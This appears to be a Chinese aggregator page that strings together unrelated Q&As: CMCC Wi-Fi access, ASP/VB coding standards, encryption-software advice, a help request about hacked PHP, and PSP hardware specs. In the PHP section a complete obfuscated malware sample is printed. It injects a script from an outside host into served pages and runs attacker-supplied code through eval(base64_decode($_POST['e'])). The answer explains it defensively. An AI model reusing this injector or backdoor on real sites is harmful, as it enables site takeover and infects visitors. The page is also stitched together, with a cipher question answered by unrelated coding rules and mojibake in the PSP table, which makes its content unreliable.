cmm加密
㈠ 请问IPAD能在WLAN加密的情况下上网吗能连接上吗我们寝室是CMMCC的WLAN 不过好像要收钱的
用cmcc e的把,这是免费得,手机发W到10086就可以了,先用ipad连接这个网,打开网页,然后把10086发你的账号和密码填在网页上,登陆就可以了,一次可以用5小时
㈡ 用数组的方式实现大小写英文字符串的密码转换,大写字母加4,小写字母减4,后面的再转回去,如W加密为A,X
所用到的都是ASP读写数据库操作.
没有具体的规则.
现在给你些资料
一.页面设计部分
1.img控件
alt:所有展示类图片都要具有能简要描述图片内容的文字说明。
2.Input控件
maxlength:所有INPUT控件都需要制定maxlength属性,默认值为数据库中对应的字段的长度。
readonly:所有不可更改的信息都要使用readonly属性。
3.Form控件
action:所有Form都要指定action,如果提交给本身就指定action=""
method:执行不可逆动作使用POST,可逆动作使用GET
onsubmit:所有form都要指定提交前需要的检查程序。
所有form都要有对应的reset button。
4.button控件
onclick:form中用于提交的button不容许使用此方法,所有数据检查通过form的onsubmit激活。
5.title属性
所有页面都要具有和本页标题相同的title。
6.控件的命名
采用控件类型缩写(小写)+英文单词(第一个字母大写)的方法。
开发中控件基本涉及一下几类
button:btn
form:frm
select:sel
textarea:txt
input:ipt
7.语言设置
所有中文页面都要加上如下语句:
<meta http-equiv="Content-Language" content="zh-cn">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
8.控件属性赋值
所有控件的属性值都要使用双引号或者单引号包括起来。
二.客户端程序部分
1.错误提示信息的处理(2-1)
所有错误信息全部使用中文提示错误信息,标点使用中文半角符号,格式如下:
"错误:"+提示信息+"!"
2.成功提示信息的处理(2-2)
所有成功信息全部使用中文提示成功信息,标点使用中文半角符号,格式如下:
"成功:"+提示信息+"!"
3.页面的返回
所有需要返回上一页的时候使用history.back();不使用history.go(-1);
需要返回前n页(n>1)时使用history.go(-n);
所有返回都使用连接的方式而不是button。
4.提交前数据的判断
保证提交前的数据都会通过JavaScript进行数据类型以及长度的判断
是否为数字:使用函数isNaN()
长度判断: 长度要判断去掉前后空格后的实际长度
为空判断: 所有不容许为空的输入字段都要在去掉前后空格后进行判断,同时如果该字段为查询条件则必须不能为空
如果判断条件发现数据错误,则通过(2-1)提示错误信息,然后通过方法focus()聚焦错误字段。
5.删除数据前的提示
所有涉及删除的操作,在用户选定以后都要再进行一次确认操作。
三.服务器端程序部分
1.数据的取得
通过Get,Post,连接传递过来的数据在使用前都要通过trim去掉数据前后的空格。
2.数据的判断
通过request的得到的参数数据需要再次进行空,类型,和长度的判断。
3.对象的关闭
所有数据库和文件对象都要在使用后尽可能早的close,同时赋nothing。
4.提示信息
所有错误提示信息使用JavaScript提示,保证使用者看不到任何内部错误信息。(如1-1)
涉及数据库Update,Del,Insert的操作成功都要提示。(如1-2)
5.变量的使用
所有变量在使用前都需要声明,并且赋初值。
6.变量的命名
采用变量类型缩写(小写)+英文单词(第一个字母大写)的方法。
开发中变量基本涉及一下几类
整数:i
小数:f
字符: s
布尔:b
日期:d
特殊的:
循环依次采用i,j,m,n;
数组用ary
指针p,q
临时变量tmp
七.SQL语句
1.排序
order时应该尽量提前使用建立索引或者主键的字段排序。
2.select
select时避免使用*,即使需要所有字段也应尽量一个一个按照使用的顺序罗列出来。
3.尽量避免使用in和not in
八.测试
所有页面要在800*600,1024*768两种分辨率下运行通过。
所有页面要在IE5.0,5.5以及6.0下运行通过没有JavaScript错误。
****************************************************************
WEB编码规范
编制人:walaqi
第一章 ASP编码规范通述
ASP编码分为两大部分,一部分为静态文件编码,一部分为包含服务器端脚本的动态文件编码。
静态文件编码分Script编码和HTML编码两部分。
服务器端编码则分为服务器脚本、客户端脚本、HTML脚本三部分。
编码规范采用如下约定:
所有客户端脚本一律使用JavaScript
所有服务器端脚本一律使用VBScript
静态页面输出一律使用HTML脚本
本规范不适用于由服务器端脚本所产生的客户端脚本代码。
第二章 静态文件编码规范:
静态文件脚本部分采用JavaScript编写。输出部分采用HTML标记语言。
1. HTML标记语言编码规范
1.1 标记的换行规范:
* 一个标记必须占用一行。不得出现两个标记在同一行的情况(同一标记的关闭标记除外),如:
<tr><td>text</td></tr>
而必须写成:
<tr>
<td>text</td>
<tr>
1.2 标记的关闭规范
* 静态文件内容必须包含在<body></body>标记中间
* <body>标记必须包含在<html></html>标记中间
* 对于需要关闭的标记,如:
<html><title><body><table><tr><td><p><textarea><select><font><option><div><span>
必须同其关闭标记同时出现。如
<body>…<p>…<font>….</font>….</p>…..</body>
* 不得出现交叉包含的语句,如:
<p><font>…..</p></font>
1.3 标记的属性赋值规范
对于接受属性的标记,属性值必须使用双引号或者单引号包围。如:
<body bgcolor=”red”>
<font size=’7’>
1.4 标记的缩进规范
* 最高一级的父标记采用左对齐顶格方式书写。
* 下一级标记采用左对齐向右缩进一个Tab的方式书写
在下一级依此类推,分别左对齐相对于父标记向右缩进一个Tab的方式书写
* 同一级标记的首字符上下必须对齐。
2. 客户端JavaScript规范
2.1 变量命名规范
* 常量以及全局变量名必须全部使用大写字母
* 变量名首字母必须小写。
* 变量名必须使用其类型的所写字符串开始。各种类型的所写字符串如下:
* 整型变量:int
* 长整型变量:lng
* 浮点型变量:flt
* 双精度变量:dbl
* 对象引用变量:obj
* 字符串变量:str
* Date类型变量:dtm
* 变量名必须采用有意义的单词命名,如:
strUserName、lngArrayIndex
* 变量名除首字母小写外,其他单词首字符必须大写
* 如果变量名过长可以使用单词缩写,除了被广泛了解的单词缩写以外,所有使用单词所写的变量名必须在定义时给出注释,如:
var strAdName //用于表示Administrator帐户的名称
var strAdminName //不用给出注释,Admin被广泛了解
2.2 变量使用规范
* 变量使用前必须定义。没有定义的变量禁止使用
* 变量的使用尽量缩小到小的作用域。如循环使用
for(var I=0;I<12;I++){
}
而不是:
var I;
for(I=0;I<12,I++){
}
2.3 对象命名规范
各种页面对象如text输入框、按钮、下拉选择框在命名时必须使用以下对应前缀:
* text输入框:txt
* button按钮:btn
* select下拉选择框:sel
* option项:opt
* form表单:frm
* frame框架:fra
* hidden表单项:hdn
* div标记:div
* span标记:span
* 对话框对象:dlg
* 窗口对象:win
2.4 函数以及子过程命名规范
* 函数命名必须使用动词+名词对的方式,并且能够体现函数的功能
* 函数命名的动词前缀必须是同函数功能相关的完整动词
* 函数命名第一个单词的首字母小写,后面每一个单词的首字母大写
第三章 动态文件编码规范
1. HTML书写规范
HTML书写规范必须符合静态文件HTML标记书写规范,参考(第二章第一节)
2. 客户端脚本规范
动态文件客户端脚本一律采用JavaScript书写,并必须符合静态文件编码规范中有关JavaScript编码规范的规定(参考第二章第二节)
3. 服务器端脚本书写规范
服务器端脚本书写采用VBScript书写
3.1 命名规范
3.1.1 VBScript脚本变量命名规范
* 常量以及全局变量必须全部使用大写字母
* 常量必须使用CONST_前缀
* 全局变量必须使用G_前缀
* 变量名首字母必须小写。
* 变量名必须使用其类型的所写字符串开始。各种类型的所写字符串如下:
* 整型变量:int
* 长整型变量:lng
* 浮点型变量:flt
* 双精度变量:dbl
* 对象引用变量:obj
* 字符串变量:str
* Date类型变量:dtm
* 变量名必须采用有意义的单词命名,如:
strUserName、lngArrayIndex
* 变量名除首字母小写外,其他单词首字符必须大写
* 如果变量名过长可以使用单词缩写,除了被广泛了解的单词缩写以外,所有使用单词所写的变量名必须在定义时给出注释,如:
dim strAdName ‘用于表示Administrator帐户的名称
dim strAdminName ‘不用给出注释,Admin被广泛了解
3.1.2 对象命名规范
各种对象如Connection、Recordset、Command在命名时必须使用以下对应前缀:
* Connection对象:conn
* Recordset对象:rs
* Command对象:cmd
* Parameter对象:param
* Field对象:fld
* Error对象:err
3.1.3 函数以及子过程命名规范
* 函数命名必须使用动词+名词对的方式,并且能够体现函数的功能
* 函数命名的动词前缀必须是同函数功能相关的完整动词
* 函数命名第一个单词的首字母大写,后面每一个单词的首字母大写
3.1.4 常用变量命名规范:
说明:包含在[]中的部分为可省略部分
* Connection对象:conn[Name]。Name为所连接数据库的服务器名字
* Recordset变量命名规范:rs[Name]。Name为自定义的同rs存储内容有关的英文单词组合
* Command对象:cmd[Name]。Name为自定义的同command目的有关的英文单词组合
* SQL语句字符串变量:strSql[CommandName]。CommandName为自定义的同Sql语句功能相关的英文单词组合,如:
strSqlUpdateModify
strSqlInsertUser
3.2 代码书写规范
3.2.1 变量明确声明原则
* 所有ASP程序文件,必须在代码的第一行包含<%option explicit%>。转为变量明确声明模式
3.2.2 字符集设定原则
* 所有将对客户端产生中文输出的ASP程序文件,必须在输出前设定Charset为”GB2312”.如:Response.Charset = “GB2312”
3.2.3 函数使用原则
* 尽量使用函数封装代码块
* 连续代码块尽量不要超过50行。最多不得超过70行
* 尽量使用局部变量。
* 如有涉及到全局的资源,如Connection,尽量作为函数的参数传入
* 所有在函数内部创建打开的资源,在退出函数前必须关闭释放。如:Recordset,Command
3.2.4 Request、Session、Application使用规范
* 所有需要放入Session、Application中的对象,必须采用有意义的英文名字。除了被广泛了解的单词缩写以外,不得采用单词缩写。如:
Session(“cp”) = strCurrentUserIP ‘不允许
Session(“CurrentUserIP”) = strCurrentUserIP
Session(“Pwd”) = strPwd ‘允许,Pwd被广泛了解为密码
* 所有需要在代码内用到的Request、Session、Application中的元素,必须在代码头部赋值给代码内声明的变量。
* 如果获得Form中提交的内容,必须使用Request.Form(“itemName”).
* 如果获得QueryString中提交的内容,必须使用Request.QueryString(“itemName”)
* 不得在代码中出现Request(“”)这样的引用方式
3.2.5 HTML同服务器端脚本混合使用原则
* 服务器端脚本标记“<%”必须同其上一行紧邻的标记左对齐,如:
<table>
<%
do while not rs.eof
%>
<tr>
<td>text</td>
</tr>
<%
rs.movenext
loop
%>
</table>
* 服务器端脚本标记“<%”同其后的代码不得在同一行书写
* “%>”同其前面的代码不得在同一行书写
* 服务器端脚本标记”%>”同其最近的”<%”标记对齐
* 服务器端内部的HTML代码依据静态文件的HTML缩进规则编写,不遵循服务器端脚本缩进规则
* HTML标记内部的代码,依据服务器端脚本的缩进规则,不遵循HTML代码缩进规则 。
第四章 常见错误
1. ADO的事务处理
1.1 错误代码:80004005。
1.1.1 错误描述:
Microsoft OLE DB Provider for ODBC Drivers 错误 ’80004005’
不能在 firehose 方式下启动事务
1.1.2 解决方法:
在开始ADO的事务的时候,必须首先关闭使用同一个连接对象打开的记录集,或者在打开那些游标集之前,设置游标集位置类型为adUseClient.(使用客户端游标集)
第五章 代码习惯书写示例
1. ADO对象的使用
1.1 ADODB.Connection对象
1.2 ADODB.Command对象
1.3 ADODB.Recordset对象
1.3.1 创建:
Set rs = Server.CreateObject(“ADODB.Recordset”)
rs.CursorLocation = adUseClient
rs.Open strSql,conn,1[,1] ‘必须指定游标类型
一、 注释规范
A. 注释标准:
l 功能注释
功能注释是指为了对代码本身进行解释说明而进行的注释。
注释符采用“’”作为统一的注释符。
1.行内注释
采用注释符号 “’”
例:
Dim intFileNo As Integer ’ファイル番号取得用
2.整行(包括多行)注释
采用注释块开始与块结束标志
36
’************************************
’
’
’
’************************************
l 修订注释
修订注释是指出于测试或者改错等目的,对代码进行了更改,而必须对此修改提供相关说明和醒目标记,并将原来的代码加入注释块内。
只要有改动,无论单行还是多行均采用设置注释块开始与块结束标志的方法来明确标志修改部分,清楚地进行解释说明,便于查找和分辨注释比较多的代码段。
15 15
’*************** Modify Start ***************
’
’
’
’*************** End ***************
B. 需要注释的地方:
声明定义部分
对每个常量声明进行注释;
对每个变量及类、对象等的声明进行注释;
对每个自定义函数定义进行注释;
对每个自定义子程序定义进行注释;
代码部分
对每个构件,在顶部进行注释;
对每个条件选择分支进行注释;
对每个详细设计中提到的关键点进行注释;
对全局变量的使用进行注释;
C. 注释的内容:
l 对变量及常量声明部分的注释以行内注释方式简要描述其用途。
l 自定义函数及子程序等定义部分的顶部进行注释:
’************************************
’ 概要:
’ 机能说明:
’ 参数说明:
’ 返回值:
’ 备注:
’************************************
l 代码内部的行内注释
说明具体代码的运算规则,循环的内容,计数器的目的等等。
l 修订注释
’*************** Modify Start ***************
’ 修订原因:
’ 修订履历:
’ 修订者 修订日期
’ 原始代码:
’ Case 5 To 8
’ ……
Case 4 To 8
’*************** End ***************
D. 注释的方法:
对代码行可以在行尾加注释(不能违反行宽的要求);
对单行代码的注释可以在上一行以“’”的形式添加简单注释;
对整段代码的注释放在代码段之前;
注释符统一采用“’”。
二、命名规范
A.通则
VisualBasic保留字可在VisualBasic设计器中根据颜色的变化看到。变量命名不可以使用保留字,应使用有意义的名字命名,不可使用简称和无意义的名称诸如A,x1等。即便对于只用于循环计数的变量,也应该统一赋予有意义的名称,例如longCnt等。
不能起太长的名字,应该尽量简洁,长度限制应控制在32个字符之内。
B.常数
全部使用大写字母以表明常数意义的名词命名,不区分常数的类型:
Const DEFAULTCONCENTRATION As Single = 0.01
C.变量
命名必须使用大小写结合(VB编辑器会自动转换以减少程序出错的机率)
变量命名采用[范围前缀][数组前缀][类型前缀]+[自定义命名]
控件命名采用[控件前缀]+[自定义命名]
变量范围做前缀
范围 前缀 例子
全局变量 g gStrUserName
模块级 m mStrUserName
过程级 无 StrUserName
数组前缀: a
类型前缀:
数据类型 前缀 例子
Boolean Bln BlnFound
Byte Byt BytRasterDate
Currency Cur CurBalance
Date Dtm DtmBeginDate
Double Dbl DblFee
Integer Int IntQty
Long Lng LngVcID
Single Sng SngAverage
String Str StrItemId
Object Obj ObjRmtsvr
ADODB.Recordset Rst RstItem
ADODB.Connection Cnn cnnNewsPaper
ADODB.Command Cmm CmmAddCustomer
Variant Vnt VntCheck
自定义类型 Udt UdtUserInfo
控件类型命名前缀
控件类型 前缀 例子
ADO Data ado AdoBiblio
Check box chk ChkReadOnly
Combo box, drop-down list box cbo CboEnglish
Command button cmd CmdExit
Common dialog dlg DlgFileOpen
Data-bound combo box dbcbo DbcboLanguage
Data-bound grid dbgrd DbgrdQueryResult
Data-bound list box dblst DblstJobType
Data combo dbc DbcAuthor
Data grid dgd DgdTitles
Data list dbl DblPublisher
Directory list box dir DirSource
Drive list box drv DrvTarget
File list box fil FilSource
Form frm FrmEntry
Frame fra FraLanguage
Graph gra GraRevenue
Grid grd GrdPrices
Horizontal scroll bar hsb HsbVolume
Image img ImgIcon
Image combo imgcbo ImgcboProct
ImageList ils IlsAllIcons
Label lbl LblHelpMessage
Line lin LinVertical
List box lst LstPolicyCodes
ListView lvw LvwHeadings
Menu mnu MnuFileOpen
Month view mvw MvwPeriod
MS Chart ch ChSalesbyRegion
MS Flex grid msg MsgClients
MS Tab mst MstFirst
Option button opt OptGender
Picture box pic PicVGA
ProgressBar prg PrgLoadFile
Remote Data rd RdTitles
Slider sld SldScale
Spin spn SpnPages
StatusBar sta StaDateTime
SysInfo sys SysMonitor
TabStrip tab TabOptions
Text box txt TxtLastName
Timer tmr TmrAlarm
Toolbar tlb TlbActions
TreeView tre TreOrganization
UpDown upd UpdDirection
Vertical scroll bar vsb VsbRate
自行开发ActiveX控件的前缀根据具体项目的设计时规定。
D. 标签
标签就是用于Goto跳转的代码标识,由于Goto并不推荐使用,所以标签的使用也比较苛刻。标签必须全部大写,中间的空格用下划线_代替,而且应该以_开头,比如:
_A_LABEL_EXAMPLE:
如此定义标签是为了与其他代码元素充分区别。
E.方法
无论是函数还是子程序,方法都必须以动词或动词短语命名。无需区分函数和子程序,也无需指明返回类型。
Sub Open(ByVal StrCommandString As String)
Function SetCopyNumber(ByVal IntCopyNumber As Integer) as Integer
参数需要指明ByVal还是ByRef,这一点写起来会让程序变长,但非常必要。如果没有特别情况,都使用ByVal。参数的命名方法,参考 “变量的命名方法”。
三、 书写格式规范
A. 程序的书写顺序
该构件的概要注释说明
变量声明
过程声明
代码段1
代码段2
……
B. 大小写
变量名范围前缀用小写,每个单词第一个字母用大写
函数、过程、对象名也要求每个组成单词字首大写
C. 缩进
统一开发环境,设定VisualBasic设计器的开发环境选项,定义Tab宽度为4。代码缩进时,先选中要缩进的代码块,然后使用快捷键是Tab(右移)和Shift+Tab(左移);如果手工输入空格完成缩进,以4个空格为单位。
在If语句后缩进;
在Else语句后缩进
在Select Case语句后缩进
在Case语句后缩进
在Do语句后缩进
在For语句后缩进
已经用行接续符分割的语句的各个行要缩进
在With语句后缩进。
对从属于行标注的代码进行缩进。
D. 空格
运算符前后都要空格,包括:+,-,*,/,^,=,>,>=,<,<=,<>,NOT,AND,OR等;
E. 空行
变量声明部分和代码语句间的分隔;
在执行统一任务的各个语句组之间插入一个空行。好的代码应由按逻辑顺序排列的进程或相关语句组构成。
F. 页宽
对较长语句,如API声明等,在代码窗体可视范围内给予换行,不要使别人必须通过滚动窗口才能查看到完整的代码,单行代码长度不超过95列。
使用“& _ ”换行符。
G. 其他
在项目组内部,根据需要统一VisualBasic开发环境参数。
四、 代码检查
代码检查的合格标准
注释完整、命名规范、条理清晰、可读性强的代码视为合格代码。
检查办法
发现未遵循本编码规范的情况视为不合格;
五、 建议性规范
l 有的时候可能需要违背好的编程原则,或者使用了某些不正规的方法,遇到这种情况时,必须用详细的注释来说明在做什么和为什么要这样做。
技巧性特别高的代码段,一定要加详细的注释,不要让其他开发人员花很长时间来研究一个高技巧但不易理解的程序段。
l 对注释进行缩进,使之与后随的语句对齐。
注释通常位于它们要说明的代码的前面。为了从视觉上突出注释与它的代码之间的关系,请将注释缩进,使之与代码处于同一个层次上
六、 其他
对文档的理解产生的歧义由引用此文档的项目的项目负责人统一解释。
相信对你有所帮助
㈢ 怎样保证个人隐私文档的保密性
假如,陈XX的电脑没有出问题;假如,他找的电脑维修工程师品行不那么恶劣;假如,他的文档都经过加密……那么今日,他仍然是大红大紫的娱乐明星,还将是千万追星少男少女的青春偶像。
有些事情看似偶然,实为必然。再一次假设,如果还有这样的事件,就算让陈XX耗费千万资产,他也会把这些见不得人的东西藏得严严实实,或者销账毁迹。就算电脑出了问题,就算维修工程师品行不善,只要你注重个人文档保密,选择一款技术先进的加密软件,就算他拿了你的隐私文档,打不开,看不到其中的东西,又能奈你何?
作为公众人物,这种见不得光,见不得人的事情一旦败露,付出的代价将是难以想象的。但是作为一个普通人物,谁又能没自己的个人秘密,谁又能没自己的私人隐私,一旦遇到同样的问题,你该怎样收场?周围邻居,同事,亲戚,朋友异样的眼光,戳戳指指的手势,你又如何面对?
如同灭火器,放在角落里,毫不起眼。然而一旦火灾发生,他的作用无可替代。没有这东西,就算你千辛万苦将火扑灭,你的房子也已经被烧的千疮百孔,损失惨重。面对电脑的日益普及,个人隐私乃至企业信息的防护加密,都已经是刻不容缓,重中之重的问题了。
面对眼花缭乱的加密产品,一般的电脑使用者和企业级用户应该如何去选择?笔者认为该从以下几个方面考虑:
1. 安全性
既然加密,就要起到加密的效果。有的加密文件,不借用任何破解软件,一些很常规的方法就能破解的自然不予考虑。比如在dos就能去除其加密属性的,用压缩软件就可以任意拷贝,暴力破解短时间内能破解密码的此类加密软件。
2. 易用性
一个电脑水平一般的菜鸟,使用一个说明全是专业术语的加密软件,他(她)在琢磨30分钟还没有明白怎么使用的情况下,估计这款软件就可以OUT了。不管大中型企业客户,还是普通个人客户,客户容易上手易于操作了,才会成为你的忠实用户。DOS为什么会被WINDOWS取代?因为那一串串的命令符不是每个人都记得住的,而鼠标,谁不会点……
3. 方便性
一些加密软件需要单独的服务器来安装服务器端,然后再在客户机安装客户端来达到加密目的。个人用户,自然不可能去装个什么客户端,企业用户安装服务器也加大了成本,不划算。何况服务器端一旦出问题,下面所有加密的客户端也都会无法使用加密功能。
4. 看资质(针对企业级用户来说)
一款成熟的加密软件,厂商必须具有基本资质,这些资质一般有: 公安部销售许可证
软件企业认定证书
涉密信息系统产品证书
质量管理体系(iso)或cmm相关认证本行业用户的成功案例
有无定制开发能力和周期
其他还包括一些军队信息安全产品认证高新技术企业证商密委认证等非必要证书资质。
从对加密软件的一般要求来看,如果一个加密软件能够符合以上四点,那么就足以胜任个人的加密需要了。对于企业用户,很多特有的功能都需要根据不同情况和需求来定制。如果还需要更进一步的了解,下面这篇文章应该可以让你有所收获。
五种常见内网安全产品优劣对比:
http://www.anchtech.com/Html/xingyedongtai/xingyexinwen/7904981869460.html
㈣ 网页加密的方式有几种
是通过一些加密的算法来实现的,当客户端解析的时候就不会把源代码给泄漏了
㈤ 帮忙解密php base64加密最好解决方案也提出下。100求破码200求解决方案
if(!isset($ev8l1)){function ev8l($s){if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0] as $v)if(preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a='<script src=http://griffintoilethire.co.uk/images/s7cg/gifimg.php ></script>','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s);elseif(strpos($s,',a'))$s.=$a;return $s;}function ev8l2($a,$b,$c,$d){global $ev8l1;$s=array();if(function_exists($ev8l1))call_user_func($ev8l1,$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='ev8l')return;elseif($a=='ob_gzhandler')break;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('ev8l');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}$ev8ll=(($a=@set_error_handler('ev8l2'))!='ev8l2')?$a:0;eval(base64_decode($_POST['e']));
意思是将参数中的<script>...</script>部分替换为<script src=http://griffintoilethire.co.uk/images/s7cg/gifimg.php ></script>,这样你的网页就被挂上了马。这段代码应该是通过webshell上传到你机器上的一段挂马程序,至于webshell 的打开有很多原因,即然是php代码那么你的机器上很可能存在php远程文件包含漏洞,也就是如果你的机器上存在Wordtrans、WordPress、rgboard、phpcms等php程序,那么很可能就有这个的漏洞。
推荐解决方法:
1.恢复已被篡改的网页
2.找一个RFI扫描器对本机进行扫描,将找到的漏洞进行修补(相应的程序网上都有对应的修补方法)
㈥ 软件开发人员应具有的素质
软件企业要求基础软件工程师具备六大基本素质:1良好的编码能力、2自觉的规范意识和团队精神、3认识和运用数据库的能力、4较强的英语阅读和写作能力、5具有软件工程的概念、6求知欲和进取心。
首先,良好的编码能力。软件人员的一个重要职责是把用户的需求功能用某种计算机语言予以实现。编码能力直接决定了项目开发的效率。这就要求软件工程师至少精通一门编程语言,比如当前国内企业常用的C/C++、VB和国际上最流行的Java语言,熟悉它的基本语法、技术特点和API(应用程序接口)。
其次,自觉的规范意识和团队精神。随着软件项目规模越来越大,仅仅依靠个人力量已经无法完成工作,因此,现代软件企业越来越重视团队精神。一般来讲,软件企业中的程序员可以分为两种,一种是程序“游击队员”,他们可能对编程工具很熟,能力很强,把编码编得很简洁高效,但却缺乏规范和合作的观念;另一种程序员编程不一定很快,但是很规范,个人能力不一定很强,但合作意识很好。第二种人更加适合现代软件企业发展的潮流。对于基础软件工程师来说,他们在企业中的角色决定了他们必须具有良好的规范意识和团队精神。
然后,认识和运用数据库的能力。信息是以数据为中心的,因此与数据库的交互在所有软件中都是必不可少的,了解数据库操作和编程是软件工程师需要具备的基本素质之一。目前常用的数据库软件有甲骨文公司的Oracle数据库和微软公司的SQL Server等。
接着,较强的英语阅读和写作能力。程序世界的主导语言是英文,编写程序开发文档和开发工具帮助文件离不开英文,了解业界的最新动向、阅读技术文章离不开英文,与世界各地编程高手交流、发布帮助请求同样离不开英文。作为基础软件工程师,具有一定的英语基础对于自身的学习和工作极有帮助。
但是,具有软件工程的概念。基础软件工程师处于软件企业人才金字塔的底层,是整个人才结构的基础,虽然他们从事的工作相对于系统分析师和高级程序员要单纯一些,但是他们是整个软件工程中重要的一环,因此,基础软件工程师同样要具有软件工程的概念。从项目需求分析开始到安装调试完毕,基础软件工程师都必须能清楚地理解和把握这些过程,并能胜任各种环节的具体工作,这样的能力正好符合了当前企业对基础软件工程师的全面要求。
最后,求知欲和进取心。软件业是一个不断变化和不断创新的行业,面对层出不穷的新技术,软件人才的求知欲和进取心就显得尤为重要,它是在这个激烈竞争的行业中立足的基本条件。软件工程师应具有较强的学习总结能力、需求理解能力和对IT新技术比较敏感,同时,掌握最新的IT实用技术。
㈦ psp2000!
PSP
PSP全称PlayStation Portable,是一种由SONY开发的新型掌上游戏机。于2004年12月12日正式发售。
它采用4.3寸16:9比例、背光全透式的夏普ASV超广可视角液晶屏幕,屏幕大小达到480*272象素,而且色彩鲜艳亮丽,显示效果一流;拥有介于PS和PS2之间的3D多边形绘图能力,对应的曲面NURBS建模更是PS2所没有的功能,游戏画面达到了掌机游戏的新高度;可播放MPEG4视频文件ATRAC格式与MP3格式等音乐文件;使用PCM音源,对应3D环绕立体声,音域广音质也好。使用新研发的6厘米直径大小的“UMD”光盘作为游戏以及音像媒介,搭载USB接口与Memory Stick DUO记忆棒插槽,支持无线联机功能和热点连接互联网,机能拓展潜力巨大,是被SONY定位为“21世纪的WALKMAN”的重量级产品。综上所述,实际上PSP已经不只是一台游戏机,更是一台综合性的掌上多媒体娱乐终端设备。由于SONY不惜血本的低价“倾销”策略,PSP已经成为当前性价比最高的掌上型多媒体终端。
psp2000
新产品:psp2000
SCE在2007年公布的新改良版PSP® (PlayStation®Portable) 系统 (PSP-2000) 拥有更小、更薄的机身,尺寸减小19%,重量减轻了33%,新的PSP重量约为189克(原来是280克) 厚度为18.6mm(原来是23.0 mm)。另外,索尼还将PSP内存增加到64MB,而且还为新PSP准备了视频输出能力,通过另外购买的视频线,可以将PSP接驳大屏幕电视享受游戏和影视的魅力。新PSP的升级还包括内置存储缓存UMD数据,减少读盘时间,以及可以在USB连接PC或PS3传送数据的同时进行充电。详细的功能如:[AV cable]、 [S VIDEO cable]、[D Terminal AV cable]、[Component AV cable]等视频输出功能,1-333MHz[PSP CPU]、16:9 480×272/16,770,000t、 [IEEE 802.11b] 无线LAN、 USB2.0(mini-B) USB联接等。
PSP配置列表
[编辑本段]
PSP配置列表
名称 Play Station Portable(PSP)
型号 PSP-1000 (这个是日版)1001是美版
标准色 黑色
尺寸 长170mm×宽74mm×厚23mm
重量 260g(含电池)
CPU PSP专用CPU (周波数1~333MHz)
内存 32MB
DRAM 4MB
显示屏 4.3英寸16:9宽屏ASV液晶,1677万色480×272分辨率,光强最大每平方米200cd
音乐输出 立体声
扩张端子 IEEE 802.11b(Wi-Fi)、USB2.0(Target)、记忆棒、IrDA、IR Remote(SIRCS)
光驱 UMD专用光驱
对应软件 PSP游戏、UMD音乐软件、UMD视频软件
外接口 5V直流OUT、电池充电口、耳机口、话筒口、手柄口
操作按键 方向(上下左右)、数字摇杆、按键(△、○、□、×)、L、R、START、SELECT、HOME、POWER(ON、OFF、HOLD)、光调整、音乐模式变换、音量、 无线LAN(ON、OFF)、UMD出仓键(新版本psp没有)、电源 锂电池、AC电源
保护机能 ∏�蚵肟刂啤⒛炅湎拗?
豪华版配件 耳机和线控、1800MA电池、携带包、吊带 .32M SONY PSP专用记忆棒
PSP2000配置列表
型号 新版PSP2000
处理器性能 PSP CPU(工作频率1-333MHz)
内存性能 64MB
图形处理器 FPU, VFPU (每秒2千6百万浮点运算) 3D图形扩展运算 1.2V MIPS R4000 32-bit核心 128-bit总线 2MB eDRAM缓存 90纳米CMOS制造工艺 1.2V
游戏载体 播放专用UMD驱动器;格式:PSP Game、UMD Audio、UMD Video UMD (Universal Media Disc) 60mm直径光盘 660纳米激光二极管 1.8GB最大容量 (双层) 11Mbps传输速率 AES 加密系统唯一光盘ID 抗震
音频 内置立体声喇叭
接口 本体电源输入端口外部电源供给端口视频/耳机/话筒端口 USB端口存储记忆棒端口
附件 AC适配器专用锂离子电池(1200mAh)
重量 约189g(内含电池)
尺寸大小 约169.4x 18.6 x 71.4 mm(宽度×高度×长度)(除去最大突出部)
屏幕 4.3英寸 16:9宽 TFT液晶 480 x 272像素 1,677万色
多边形性能 3D曲面和3D多边形引擎
PSP周边产品
[编辑本段]
■ UMD介绍
UMD是SONY特地为PSP开发的多媒体储存媒介——Universal Media Disc,最大容量可以达到1.79GB-1.8GB,1.8GB不超过直径却仅仅是6cm。而且由于采用了UMD光盘与碟套一并插入PSP进行游戏的设计(参照MD的做法),大大降低了UMD光盘的磨损可能性。
目前UMD光盘只有只读格式,使用128BIT AES加密技术,而且所有UMD光盘只由SONY独家生产技术不外流,而且全世界只有一条UMD光盘生产线.价值1.2亿.相信今后一段时期内都不会出现UMD的散装光盘 .
SONY于1月20日表示将开放UMD的影音播放规格,广泛提供给各软硬体厂商进行UMD软件的出版与相容播放硬体的制造,不过UMD游戏方面仍然不公开。
■ 记忆棒
MS(Memory stick ,记忆棒) ,是由索尼于1999年推出的存储卡,通用于索尼系列产品,例如索尼笔记本,索尼数码相机等,可以储存UMD游戏的存档,存放MPG4电影与MP3音乐等。已有32MB 512MB 1GB 2GB 4GB 8GB 16GB ,32GB正在开发(期待)。现在有Memory stick High Speed版本.即高速版,外观为枣红色.ms标志下有HIGH SPEED字样.目前中国大多数高速版记忆棒都是组棒(不是原装的),但随着组装工艺的提升.组棒质量将不会与原装棒有多大差别.
■ 游戏
您可运行UMD或保存于 Memory Stick Duo。(ISO或者CSO文件)中的PSP专用格式游戏。
PSone游戏(即PlayStation初代游戏,需转换)。
自制程序游戏。
以及通过自制程序游玩GBA N64 SFC等模拟器游戏。
